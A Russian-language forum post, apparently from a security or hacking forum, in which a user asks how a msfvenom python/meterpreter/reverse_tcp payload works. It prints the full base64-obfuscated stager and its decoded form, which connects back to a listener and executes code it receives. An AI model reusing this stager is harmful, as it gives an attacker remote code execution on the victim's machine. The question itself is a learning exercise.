Всем привет.
Решил немного поковырять msfvenom.
Сделал пэйлоад python/meterpreter/reverse_tcp
С зашифрованной частью всё примерно ясно. Но вот с не зашифрованной есть вопросы.
Как после запуска билда
Я думаю, что все дело в функции b64decode.
Функция exec запускает код питона.
base64.b64decode расшифровывает строку в аргументе, но что разработчики передали до зашифрованного кода?
Буду рад помощи!
Решил немного поковырять msfvenom.
Сделал пэйлоад python/meterpreter/reverse_tcp
Python:
import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzEyNy4wLjAuMScsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=')))
Python:
import socket,struct,time
for x in range(10):
try:
s=socket.socket(2,socket.SOCK_STREAM)
s.connect(('127.0.0.1',4444))
break
except:
time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
d+=s.recv(l-len(d))
exec(d,{'s':s})
Как после запуска билда
python3 build.py
он запускается и пропадает? То есть в процессах он остается, но консоль освобождается.Я думаю, что все дело в функции b64decode.
Python:
exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0I...3MnOnN9KQo=')))
base64.b64decode расшифровывает строку в аргументе, но что разработчики передали до зашифрованного кода?
Код:
{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]
Буду рад помощи!